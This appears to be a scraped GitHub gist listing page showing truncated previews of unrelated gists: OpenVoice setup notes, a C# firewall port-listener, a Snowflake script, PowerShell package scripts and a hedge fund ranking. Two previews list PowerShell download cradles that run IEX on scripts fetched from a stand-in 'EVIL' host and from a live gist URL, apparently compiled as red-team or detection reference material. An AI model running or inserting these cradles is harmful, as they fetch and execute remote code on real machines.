Lecture 1: Introduction to Research — [📝Lecture Notebooks] [
Lecture 2: Introduction to Python — [📝Lecture Notebooks] [
Lecture 3: Introduction to NumPy — [📝Lecture Notebooks] [
Lecture 4: Introduction to pandas — [📝Lecture Notebooks] [
Lecture 5: Plotting Data — [📝Lecture Notebooks] [[
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ To use: install Ollama, clone OpenVoice, run this script in the OpenVoice directory | |
| brew install portaudio | |
| brew install git-lfs | |
| git lfs install | |
| git clone https://github.com/myshell-ai/OpenVoice | |
| cd OpenVoice | |
| git clone https://huggingface.co/myshell-ai/OpenVoice | |
| cp -r OpenVoice/* . | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ To use: install LLM studio (or Ollama), clone OpenVoice, run this script in the OpenVoice directory | |
| git clone https://github.com/myshell-ai/OpenVoice | |
| cd OpenVoice | |
| git clone https://huggingface.co/myshell-ai/OpenVoice | |
| cp -r OpenVoice/* . | |
| pip install whisper pynput pyaudio | |
| """ | |
| from openai import OpenAI | |
| import time |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // This is a very basic TCP port listener that allows you to listen on a port range | |
| // If you run this program outside of firewall and run a port scanner inside a firewall | |
| // pointing to the ip address where this program runs, the port scanner will be able you | |
| // to tell which exactly ports are open on the firewall | |
| // This code will run on Windows, but most importantly also on linux. | |
| // DigitalOcean.com has all ports for their VMs open by default. So spin a new VM, | |
| // copy pln.cs in your (root) home folder and then run: | |
| // sudo apt-get update | |
| // sudo apt-get install mono-complete -y | |
| // mcs pln.cs |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import shutil | |
| import subprocess | |
| import time | |
| from datetime import datetime | |
| import snowflake.connector | |
| import logging | |
| # Information for Snowflake | |
| SNOWSQL_ACCOUNT = "XXXXXXXXX.east-us-2.azure" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Param( | |
| [Parameter(Mandatory=$true)] | |
| [string] $PackageName, | |
| [string] $PackageVersion = "0.0.0" | |
| ) | |
| Clear-Host | |
| #use this to retain what we have packagesList previously so we dont have to find it again | |
| $packagesList = @{} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Param( | |
| [Parameter(Mandatory=$true)] | |
| [string] $PackageName, | |
| [string] $PackageVersion = "0.0.0", | |
| [string] $PackageDestination | |
| ) | |
| Clear-Host | |
| <# | |
| NOTES: You really should use: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ################################################## System.Net. cradles ################################################## | |
| # System.Net.Webclient DownloadString | |
| IEX (New-Object Net.Webclient).DownloadString('https://gist.github.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1') | |
| # System.Net.Webclient DownloadData | |
| IEX ([System.Text.Encoding]::ASCII.GetString((New-Object Net.Webclient).DownloadData('https://gist.github.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'))) | |
| $test = (New-Object Net.Webclient).DownloadData('https://gist.github.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); $st = [System.Text.Encoding]::ASCII.GetString($test); IEX $st | |
| # System.Net.Webclient DownloadFile (touches disk) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Ranked by discretionary assets managed in hedge funds worldwide, in millions, as of June 30, 2018, unless otherwise noted. | |
| Rank Manager Assets Change from 2017 | |
| 1 Bridgewater Associates $132,756 7.9% | |
| 2 AQR Capital Mgmt. $83,700 9.2% | |
| 3 Man Group $59,100 11.3% | |
| 4 Renaissance Technologies $57,000 17.3% | |
| 5 Two Sigma Inv./Two Sigma Advisers $38,800 9.6% | |
| 6 Millennium Mgmt. $35,314 2.7% | |
| 7 Elliott Management $35,000 7.0% |
NewerOlder